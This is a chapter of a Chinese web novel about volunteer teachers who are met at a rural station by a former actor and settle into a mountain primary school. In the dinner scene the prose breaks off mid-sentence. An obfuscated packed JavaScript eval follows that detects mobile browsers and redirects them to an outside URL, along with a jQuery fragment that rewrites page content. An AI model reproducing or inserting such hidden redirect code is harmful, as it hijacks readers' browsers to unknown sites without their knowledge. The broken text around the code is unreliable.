费野没有计算自己等了多久，但是火车站的出站口一直有人流走出来是真的。


    太阳已经爬得有些高了，广场上的水泥地被晒得有点发亮。


    远处卖早餐的小摊还没有完全收摊，油锅里的香味混着豆浆的热气，在空气里慢慢散开。


    费野站在孟余旁边，看着人群一批一批走出来。


    走出来她猜一个，走出来又猜一个。


    有拖着大箱子的学生模样的人，也有背着大包的旅客，还有本地人骑着电动车从旁边慢悠悠地经过。


    整个小镇车站的节奏比城市慢很多，连人走路的速度都显得不着急。


    孟余把牌子举在胸前。


    费野的视角只能看到白底黑字的支教志愿者几个字，牌子在阳光下很显眼。


    费野看着那牌子，忽然有点想笑，她觉得孟余现在看起来像是在演一个旅行社的职员，如此想着费野小声说，“你这样真的很像旅行社导游。”


    孟余侧头看她一眼，笑了一下，“差不多。”


    话音刚落就看到一个拖着行李箱的女生从人群里走出来。


    她穿着一件浅色衬衫，牛仔裤，头发扎成马尾。走路的步子很快，一边走一边抬头看周围。


    很快，她的目光落在那块牌子上。


    女生停了一下，确认似的又看了一眼，然后拖着行李快步走过来。


    “是支教接站吗？”女生的声音清脆。


    费野点头，接着说，“对。”


    女生松了口气，把行李箱停在脚边，“太好了，我刚刚还担心自己走错地方。” 她伸出手，“你好，我是宋知夏。”


    费野也笑了，“费野。”


    孟余点了点头，“孟余。”


    宋知夏明显知道这个名字，但她看了他一眼，但表情很自然，只是点点头。


    “我知道你。”


    语气平静得像是在说一个普通同事，费野有点意外。宋知夏却已经低头去整理自己的背包。


    “剩下还有几个人？”她问。


    “还有三个。”孟余说。


    宋知夏点点头，她站在那儿四处看了看。


    车站广场上有几个卖水果的小摊，一个老大爷正用刀切西瓜。旁边还有卖矿泉水和饼干的小店。


    宋知夏忽然说：“等人是不是要挺久？”


    孟余看了看手机。


    “可能还要半小时。”


    宋知夏啊了一声。“那我去买点水。”说完她已经拖着箱子往小店走。


    费野愣了一下，跟了过去。


    小店不大，门口挂着一排饮料。宋知夏直接拿了四瓶矿泉水，又顺手拿了两瓶冰的。


    “这么多？”费野问。


    宋知夏笑了一下。


    “等会儿人多。”她把水递给费野一瓶，又递给孟余一瓶，“先喝着。”


    费野拧开瓶盖喝了一口，冰水顺着喉咙下去，整个人一下清醒了不少。宋知夏已经坐在小店门口的塑料椅上，她把背包往脚边一放，整个人很放松。


    “你们已经来这儿多久了？”她问。


    “我昨天到的。”费野说。


    宋知夏点点头，喝了口水咽下去后问道，“有点好奇，你还适应吗？”


    费野想了想，“还行。”


    宋知夏笑了，“那就好。”


    她说话的时候很自然，好像跟谁都能聊两句。远处有个小男孩骑着自行车从广场边绕过去，车铃叮叮当当地响。


    宋知夏忽然站起来，“等一下。”


    她走到小男孩旁边，弯腰说了两句什么，费野没听清。过了一会儿，小男孩不好意思地笑了一下，把车推到旁边去了。


    宋知夏这才回来。


    费野好奇地问：“怎么了？”


    宋知夏耸了耸肩。


    “他刚才骑太快了。这里人多，容易撞到人。”


    费野忍不住笑。


    “你这么快就开始管秩序了。”


    宋知夏也笑，“职业习惯。”


    “你以前是老师？” 费野其实有点好奇的，但实际上据她所知好像都是在读书的学生？


    “不是。”她说，“兼职做活动策划的。”她把矿泉水瓶在手里转了一圈，“人多的地方，总要有人提醒一下。”


    费野看着她，忽然觉得这个人很好相处，她说话直接，但不让人不舒服。


    宋知夏看了一眼孟余，“你们在这儿等很多次了吗？”


    孟余点头，“最近才开始，后面会比较多。”


    宋知夏喝了一口水，“挺好的。”她看着广场上的人流，忽然说：“支教这种事情，其实挺奇妙的。”


    费野问：“怎么说？”


    宋知夏想了想，“很多人会觉得这是很伟大的事情。”她笑了一下，“但我觉得，也就是一份工作。”


    费野有点惊讶。


    宋知夏继续说，“做好是好事，做不好也不至于世界毁灭。量力而行就行。”


    她说话的时候很轻松，费野忽然觉得，这种态度挺少见。既不神圣化，也不否定，就只是很现实。


    远处出站口的人又多了一批，孟余看了一眼时间，“他们那趟车应该到了。”


    宋知夏站起来，“那我先去车里等吧。”


    她拖起自己的行李箱，三个人往停车场走。车停在一排旧越野车中间，车身上落了一层薄灰。


    宋知夏把行李放进后备箱，然后拉开后座车门，她坐进去的时候还不忘说一句：“你们继续接人我先占个位置。”


    宋知夏把行李箱放回去，然后走到车旁，拉开后座的车门，很自然地坐了进去。车门砰地关上，车里顿时安静下来。她把背包放在膝盖上，整个人往后一靠，看着两人离开之后自己长长地呼了一口气。


    外面的阳光透过车窗照进来，车里的空气有点热，其实呆着不舒服，看着两人离开之后，她才打开车门出来，宋知夏从口袋里摸出手机。


    她打开聊天软件，屏幕上最上面就是支教群，群名很朴素山南小学支教群。她刚刚在广场上一直忍着，现在终于忍不住，飞快点开一个好友对话框。


    宋知夏：【我到了！！！】


    宋知夏：【救命】


    宋知夏：【接站的人是孟余】


    对面几乎秒回。


    【？？？？真的假的】


    【是那个演员吗】


    除了聊天还有其他新弹出来的信息，宋知夏来回点还不忘手指飞快敲字，完全没有注意聊天界面已经跳成了其他群。


    【真的，本人比电视上好看，而且人特别正常】


    她打到这里的时候，忽然愣了一下，因为屏幕最上方的聊天框名字变成了山南小学支教群


    宋知夏：“……”


    她瞳孔地震，基本上消息刚发出去，她整个人猛地坐直。


    “卧槽。” 手指飞快点撤回。


    “知夏撤回了一条消息”


    她盯着屏幕，群里安静了两秒，没有人说话。


    宋知夏心跳飞快，她立刻又发了一句。


    宋知夏：【已经找到组织了，大家不用担心，等待和其他朋友见面中】


    然后把手机扣在腿上，整个人仰在座椅上，感叹起来。


    “活着真好。”


    车外，费野站在树荫下看了一眼车里。宋知夏已经坐在后座，低头玩手机，看起来很放松。


    费野忍不住笑了一下，她转头问孟余。


    “要不要在群里问问另外几个人什么时候到？”


    孟余摇头，解释道，“他们应该快到了。”


    费野点点头，但还是把手机拿出来，她打开支教群，看见群里刚刚那条撤回消息，她愣了一下随即笑了笑，也没多问。


    群里信息是宋知夏的留言。


    宋知夏：【已经找到组织了，大家不用担心，等待和其他朋友见面中】


    费野把定位重新发了一遍。


    费野：【我们在出站口右边停车场】


    然后又单独把位置私发给群里另外三个人，发完之后她把手机收回口袋，远处的出站口玻璃门又打开了一次。


    人群慢慢往外走。


    ……


    与此同时，火车站另一头。两个女生拖着箱子刚走出站口。她们几乎同时停住脚步。


    “等一下。”其中一个女生猛地拉住同伴，另一个人愣住。


    “怎么了？”


    她们顺着人群的方向往外看，广场上有一块白色牌子。


    牌子后面站着一个人，两人对视了一秒，同时吸气，然后抱在一起，一整个激动又无声尖叫。


    “啊啊啊啊啊啊！！！”但她们没有发出声音，只是拼命跺脚，像两只突然发现猎物的小松鼠。


    “是不是他？”


    “是他吧！！”


    “我不敢看！！”


    “你再看一眼！！”


    她们两个人抱在一起，小幅度原地转圈，拖着行李箱的轮子在地上吱吱响。


    过了几秒，其中一个深呼吸。


    “冷静。”


    另一个人点头。


    “冷静。”


    她们同时整理头发。


    “我们只是普通支教老师。”


    “对。”


    “不是私生。”


    “绝对不是。”


    她们重新抬头，远处那个人还站在那里。白色T恤，阳光落在肩膀上，旁边还有一个女生。


    两人沉默了好久，然后同时小声说，“走。”


    费野刚把手机收起来，就看见两个女生拖着箱子往这边走。


    她们的脚步明显有点快，但又在努力放慢，看起来像是在控制自己的速度。


    两个人走到近前的时候，先对视了一眼，然后其中一个人率先开口。


    “你好。”


    声音有点紧。


    “我们是来支教的。”


    费野点头。


    “欢迎。”


    女生松了一口气，她看向孟余。


    “你是……孟余老师吗？”


    孟余点头。


    “嗯。”


    两人同时深吸一口气，然后非常克制地笑了一下。


    “你好。”


    她们几乎同时说，然后其中一个女生自我介绍。


    “我叫乔鹤。”


    她个子不高，戴着眼镜，背着一个明显很重的双肩包。费野注意到，那个包鼓鼓的像装了很多书，乔鹤说话的时候很认真。


    “我是学中文的。这次来主要想做阅读课。”她停了一下，然后补了一句，“如果条件允许的话。”


    费野点头。


    “欢迎。”


    旁边另一个女生已经忍不住四处看，她眯着眼睛看停车场，又看远处的小摊，像是在观察什么。


    “我叫孙淼淼。”她说着，声音语气轻快一点，“我是新闻专业。” 她抬头看了一圈，“这个地方比我想象中好一点。”


    乔鹤小声说，“你不是说可能会很破吗。”


    孙淼淼耸肩，“我只是做最坏准备。”她看向孟余，眼神很直接，“你真的在这儿待很久了？”


    孟余点头，回答着，“几个月。”


    孙淼淼挑眉，“那挺厉害。”她停了一下忽然笑，“不过我很好奇。一个演员为什么会来这里。”


    空气安静了一瞬，费野看了她一眼，孙淼淼却很自然。


    “别误会。” 她举手，“我只是职业习惯，总结观察，还有提问。”


    乔鹤赶紧拉了她一下，“别问太多。”


    孙淼淼耸耸肩，“好吧。”她拖着箱子往车那边看，手指着某个方向，“车在那里？”


    费野点头，“宋知夏已经在车里。或许也在车外等着。” 费野看了过去刚好看到对方开车门走出来。乔鹤愣了一下也跟着看过去，“她到了？”


    “嗯。”


    孙淼淼笑了。


    “那我们去会合。”


    两人拖着箱子往停车场走，阳光落在广场上。


    远处又有人从车站出来，离开的人越来越多，出站口的人流慢慢变得稀疏起来。


    乔鹤和孙淼淼刚和费野，孟余打完招呼，还站在广场边的树荫下。


    乔鹤把自己背上的书包稍微往上提了一下，书包里塞满了书，重量明显不轻。


    孙淼淼则把行李箱横着立在脚边，整个人半靠着拉杆，目光仍然在四处打量。


    她看了一圈广场，又看了看远处的街道，忽然小声说了一句：“这里比我想象中热闹。”


    乔鹤笑了一下：“你不是一路上都在担心条件太差吗？”


    孙淼淼耸耸肩：“做最坏打算总没错。” 她正说着，出站口玻璃门又打开了一次，费野和孟余把手里的牌子又举了起来。


    一个男生拖着黑色行李箱走出来。


    他穿着简单的灰色T恤和运动裤，背着一个电脑包。步子不快，但很稳。刚走出来，他就停在门口看了一眼四周，像是在确认方向。


    很快，他的目光落在孟余举着的那块牌子上。


    男生拖着行李箱走过来。


    “你好。”声音很平静，“请问是支教接站？”


    费野点头，“对。”


    男生微微点头，“林然。” 他简单报了名字。


    费野笑了一下：“费野。”


    放完行李耐不住热的乔鹤和孙淼淼回来这边，见到新人来也跟着自我介绍。


    林然点了点头，他看起来不像那种会多寒暄的人，打完招呼之后就拖着行李箱往停车场走。


    费野还愣了一下，孙淼淼小声说：“行动力挺强。”


    乔鹤忍不住笑，几个人跟着往车那边走。停车场不大，车子停得稀稀拉拉。孟余的越野车停在最外侧，车身在阳光下显得有点旧。


    林然已经把行李箱放进后备箱，大家的箱子乱放就会占位子，他把箱子整理了一番，最后把箱子推到最里面，动作很利索，关上后备箱的时候，他回头看了一眼车。


    “我坐副驾驶可以吗？” 他说话很直接。


    费野愣了一下，注意到费野愣了一下，林然解释了一句：“女生多，我坐前面方便一点。” 语气不算刻意礼貌，但也不让人觉得不舒服。


    费野点点头：“可以。”


    宋知夏从车窗里探出头。


    “又来了两位？”


    孙淼淼笑着挥手：“是我们。”


    宋知夏立刻笑起来：“快上车。”


    乔鹤和孙淼淼坐进后排，宋知夏往里挪了挪，给她们腾出位置。


    林然已经拉开副驾驶车门，就在这时候，费野忽然想起一件事。


    “对了。”她看向孟余，“回程不是说我开车吗？”


    孟余站在车门边，愣了一下。


    “嗯。”


    费野刚准备说话，孟余忽然开口；“如果你不介意的话……”他顿了一下，“能不能还是我开。” 费野看着他，孟余补了一句：“你坐后面，顺便给大家介绍一下学校情况。”


    费野愣了一秒，然后笑了。


    “行。”


    她把车钥匙递回去。


    “那我就当导游了。”


    大家都笑了一下。


    车门关上，发动机响起来，车慢慢驶出停车场。


    大家都有些疲惫，不约而同选择了安静，前排是孟余和林然，后排坐着费野、宋知夏、乔鹤和孙淼淼。


    越野车开出镇子的时候，街道两边的小店慢慢往后退。卖水果的摊子、早餐铺子、骑电动车的人，一点点被甩在身后。


    很快，路就变窄了。


    两侧开始出现山，孙淼淼把头靠在车窗边，看着外面。


    “这里风景还挺好。”费野笑了一下，“等再往里走会更好。”


    宋知夏问：“学校在山里？”


    “对。”费野点头，“车还要开差不多一个小时。”


    乔鹤听得很认真，她把背包抱在怀里。


    “学生多吗？”


    费野想了想，“整个学校差不多一百多个学生。”


    孙淼淼挑眉：“这么少？”


    “因为年级不多。”费野解释，“小学一到六年级，每个年级只有一两个班。”


    乔鹤点头，“那挺好的。”她的眼睛亮了一点，“阅读课应该能做起来。”


    孙淼淼笑了，“你还没到就开始想课程了。”


    乔鹤认真地点头，“知识和教育改变命运。”她说这句话的时候非常认真。


    车里安静了一秒，宋知夏笑着拍了拍她的肩。


    “理想主义。”


    乔鹤不好意思地笑了一下。


    费野继续说：“课程其实挺灵活的。学校老师不多，所以我们来的这些人会分担一些课。”


    孙淼淼问：“随便教？”


    “不完全。”费野说，“会根据大家擅长的东西安排。”


    她看了一眼乔鹤，“比如你带阅读课。”


    乔鹤眼睛一下亮起来。


    “真的吗？”


    费野笑：“应该没问题。”


    她又看向孙淼淼。


    “如果你愿意，也可以做一些新闻或者表达类的课程。”


    孙淼淼愣了一下，不确定地反问道，“新闻？”


    费野点头，“比如教孩子观察、写记录。” 孙淼淼忽然觉得有点有趣。


    “这个可以。”


    宋知夏问：“那我呢？”


    费野想了想，“活动组织。学校其实挺需要这种东西的。”


    宋知夏笑了，“这我熟。”


    车继续往山里开，远处的山线越来越近。林然一直没说话，他看着窗外，过了一会儿才开口。


    “其实支教不一定能改变什么。”车里几个人同时看向他，林然语气很平静，“很多人来这里，都会有一种改变世界的想法。”他顿了一下，“但现实不是这样。”


    乔鹤微微皱眉，“你不觉得教育很重要吗？”


    林然点头，“重要。”他看向远处的山，“但支教对于你我，更像是理解世界。”


    孙淼淼挑眉，“这句话我同意。”


    车继续往山里开，支教的路看起来才刚刚开始。


    ……


    天已经完全黑下来了。


    山里的夜来得很快，傍晚那一点橘色的光刚刚消失，操场边的灯就亮了起来。


    灯光不算很亮，但足够照清食堂门口那一小片空地。


    学校食堂是一栋两层的小楼，一楼是学生吃饭的地方，二楼是老师偶尔开会用的教室。墙面刷得很干净，能看出来是近几年重新翻修过的。


    刚到学校的支教老师们简单放好行李，就被叫来食堂吃晚饭。


    锅里的菜已经盛好，香味从窗口飘出来。


    学生们排着队，一边拿着餐盘，一边偷偷往这边看。


    今天学校突然多了几张陌生的面孔，对他们来说显然很新鲜。


    费野端着餐盘


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17316082|196424||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    走进食堂的时候，就感觉到有很多视线落在自己身上。


    那种视线不是不礼貌，只是好奇，小孩的好奇心很直接。


    “他们是不是在看我们？”


    孙淼淼凑到费野旁边，小声说。


    她的声音压得很低，但语气里明显带着观察的兴奋。


    费野笑了一下。


    “是。”


    孙淼淼微微眯起眼睛，看着那些学生。


    “他们在互相打眼色。”她说得很认真。“你看那一桌，已经看我们三次了。”


    费野顺着她的目光看过去。


    果然有几个小学生正一边吃饭一边偷看他们。


    被发现之后，立刻低头扒饭。


    乔鹤站在另一边。


    她刚刚打好饭，还没坐下，就被两个小学生围住。


    乔鹤蹲下来，语气很温柔。


    “你们几年级？”


    “二年级。”


    小孩声音很小，乔鹤笑着点点头，“你们喜欢读书吗？”


    两个孩子互相看了一眼。


    一个点头。


    另一个小声说：“喜欢漫画。”


    乔鹤认真地点头，“漫画也是书。”她的语气很笃定，“读书很重要，但现在还是学习课上的知识比较重要。”


    费野听见这句话，忍不住笑了一下。


    孙淼淼低声说：“理想主义。”


    她说这话的时候没有嘲讽，只是陈述。


    另一边宋知夏已经完全融入学生队伍。她不知道什么时候站到窗口旁边，帮食堂阿姨一起给学生盛饭。


    “来来来，下一位。”


    她动作很快，语气也很轻松。


    “今天谁吃两碗？”


    几个小孩立刻举手，宋知夏笑着给他们多盛了一点，“长身体，多吃点。”


    不到五分钟，她已经和几个学生聊上天。


    “你们操场平时能踢球吗？”


    “能。”


    “那明天我带球来。”


    学生们立刻欢呼。


    费野站在旁边看了一会儿宋知夏那种社交能力，几乎是本能。她像是天生知道怎么和人相处。孙淼淼看着她，轻轻吹了一声口哨。


    “社牛。”


    费野忍不住笑。


    食堂另一边，林然坐在角落的一张桌子上，他没有参与聊天。餐盘放在面前，旁边放着一个小本子。他一边吃饭，一边在本子上写东西，孙淼淼好奇地看了一眼。


    “他在干嘛？”


    费野小声说：“观察。”


    林然的目光偶尔抬起来，看窗户、看灯、看墙面。他似乎在记录学校的设施结构，比如食堂的容量、学生数量、餐具摆放。


    整个过程非常安静，他像是在做一项研究，食堂里最安静的地方，却是孟余那一侧。


    他没有坐在老师这一桌，而是在学生那一排桌子旁边。他拿着一个大勺子，在帮学生添饭，动作很自然，像已经做过很多次；学生们围着他。


    “孟老师，我还要一点。”


    “孟老师，这个菜是什么？”


    “孟老师我今天跑步第一名。”


    孟余只是点头。


    “好。”


    “慢点吃。”


    “别烫。”


    他说话不多，但每个学生都围在他旁边，像是习惯了。费野坐在老师那一桌，看着这一幕，她忽然意识到，孟余其实离他们很远，不是空间上的远，而是一种位置上的远。


    他在学生中间，而他们在一桌聊天，乔鹤坐下来之后，看着那一幕她轻声说：“我觉得他是主动来的。”


    孙淼淼抬头，好奇问道，“为什么这样觉得？”


    乔鹤看着孟余，“因为他和学生关系很好。” 她说得很认真。


    孙淼淼摇了摇头，“演员怎么可能长期不工作。”她语气很现实，“我觉得可能被公司雪藏了。”


    宋知夏刚从窗口回来，听见这句话，她放下餐盘，“我查过他的资料。”


    几个人同时看向她。


    宋知夏说，“他以前其实挺火的。”她停了一下。“后来突然没消息了。”


    孙淼淼挑眉，“你看吧。”


    乔鹤皱眉，“也可能是他自己选择的。”


    宋知夏耸肩，“也可能。”


    几个人的目光又落在费野身上，费野低头吃饭没有说话。因为她昨天问过孟余，但没有答案。


    这时候，一个老师端着餐盘走到孟余旁边，他有点不好意思地笑。


    “孟老师。” 孟余抬头。


    “嗯？”


    老师问，“你以后还会回去拍戏吗？”


    食堂安静了一瞬，很多人都在等答案，孟余看着那碗饭停了一下，然后说：“不知道。”


    语气很平静，像是真的不知道答案，也真的把一切都交给了时间，那个老师愣了一下，随后笑着说：“莫愁天下无知己。”


    他举起筷子；“天下谁人不识君。” 食堂里重新响起说话声，孟余只是笑了一下，没有再说话。


    夜已经深了。


    山里的夜晚比城市来得更彻底。操场边那几盏灯亮着，但光线只照得见一小圈地方，再远一点，就只剩下黑色的轮廓。


    费野从宿舍里走出来的时候，楼道已经很安静。


    大部分人都回房间休息了，白天刚到学校，一路赶路又折腾，大家都有点累。宿舍楼的走廊很长，两侧是简单的木门，灯是那种白色的日光灯，亮得有点直。


    费野靠在走廊的栏杆旁，她低头看着操场。夜风从山里吹过来，带着一点凉意，远处能听见虫鸣，一阵一阵，很密。


    她其实没有特别想做什么，只是突然不太想回房间。白天的很多画面在她脑子里慢慢浮出来。


    学生们吃饭的样子、操场上跑来跑去的小孩、乔鹤认真问“你们喜欢读书吗”的表情，还有孙淼淼悄悄观察周围的眼神。


    她忽然开始想那些孩子的未来，这种想法很自然。就像有人看见一条河，会不自觉去想它会流到哪里。


    比如今天那个说喜欢漫画的小男孩，费野想象了一下，如果他一直待在这里。


    小学毕业，可能去镇上的初中。如果成绩还不错，或许会去县城读高中。再往后呢？她不知道，也许会继续读书，也许会回来。


    也许几年后就像今天在车站看到的那些人一样，骑着电动车，背着包，去某个城市打工。


    她又想起那个吃两碗饭的小孩，他跑得很快。如果有人教他跑步，会不会成为运动员？又或者他以后会在这里当老师？


    费野的思路越想越远，她忽然意识到，这些孩子的人生其实有很多可能。


    但很多可能需要条件，需要机会，需要某些偶然的节点。


    比如一门课。


    比如一个老师。


    比如一次走出这座山的机会。


    她忽然有点焦虑，一种轻轻的、像水一样的担心，这种焦虑不会很沉重，但随着时间的流逝会在不同孩子身上得到不同答案。


    她想，如果自己在这里待一段时间，能做什么？教语文？教写作？或者像乔鹤那样做阅读课？可这些东西真的能改变什么吗？


    她想象了一下很多种未来，有的未来很普通，有的未来很远，有的未来甚至完全不在她能理解的范围里。


    她忽然觉得，人和人的差异，好像从一开始就存在。有人出生在城市，有人出生在山里，有人从小就能接触很多东西，有人直到长大都没离开过一座小镇。


    这些差异是什么时候出现的？什么时候又能消失？


    费野正想得出神，身后忽然响起脚步声。她回头，孟余从楼梯那边走过来。他手里拿着一瓶水，像是刚从楼下上来，“你还没睡？”


    费野笑了一下，“出来透透气。”


    孟余走到栏杆旁边，也往操场看了一眼，夜里的操场很安静，只有风吹过树叶的声音，孟余看了她一看，“刚才看你站很久了。”


    费野愣了一下，“你看见了？”


    “嗯。” 孟余语气很自然，“在想什么？


    费野没有马上回答，她又看了一眼操场，“在想那些孩子。”孟余点点头，没有打断，费野继续说：“我刚才在想，他们以后会变成什么样的人。”


    她停了一下，“有的可能会离开这里。有的可能一直在这里生活。”她笑了一下，“我甚至在猜，他们会做什么职业。”


    孟余听着，没有说话。过了一会儿，他问：“那你打算教什么？”


    费野愣了一下，这个问题很简单，但她突然不知道怎么回答。她想了一会儿，没有给出答案，反而问了一句：“你有没有想过一个问题？”


    孟余看着她，费野慢慢说，“为什么会有差异？为什么有的人从一开始就拥有很多选择。而有的人要很努力，才可能拥有一点点选择。”她说话的声音很轻，像是在自言自语，“什么时候这些差异会消失？” 她看着远处黑色的山影，“什么时候大家可以不用考虑这些。只去做自己喜欢的事情。”


    走廊忽然安静下来，孟余靠在栏杆上，风从山谷吹上来，他的目光落在远处，没有回答。


    费野也没有继续说话，她不知道孟余在想什么。有时候，人沉默的时候，像是在想很远的事情。


    过了很久，孟余才开口声音很低，“以后会这样的。”


    费野转头看他，孟余没有看她，只是看着远处的夜色，他说，“未来肯定会这样的。”